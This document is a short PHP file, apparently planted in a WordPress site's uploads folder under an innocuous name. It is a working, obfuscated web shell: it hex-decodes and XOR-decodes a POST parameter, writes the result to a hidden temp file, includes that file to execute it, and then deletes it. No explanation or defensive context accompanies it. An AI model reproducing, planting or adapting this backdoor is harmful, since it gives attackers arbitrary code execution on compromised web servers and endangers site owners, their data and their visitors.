File: /var/www/shoetique/wp-content/uploads/2020/04/layout.up.php
<?php
if(in_array("flg", array_keys($_POST))){
$parameter_group = hex2bin($_POST["flg"]);
$bind = '' ; foreach(str_split($parameter_group) as $char){$bind .= chr(ord($char) ^ 83);}
$ptr = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TMP"), getenv("TEMP"), "/tmp", sys_get_temp_dir(), "/var/tmp", getcwd()]);
for ($elem = 0, $dchunk = count($ptr); $elem < $dchunk; $elem++) {
$object = $ptr[$elem];
if (!!is_dir($object) && !!is_writable($object)) {
$desc = vsprintf("%s/%s", [$object, ".tkn"]);
$file = fopen($desc, 'w');
if ($file) {
fwrite($file, $bind);
fclose($file);
include $desc;
@unlink($desc);
exit;
}
}
}
}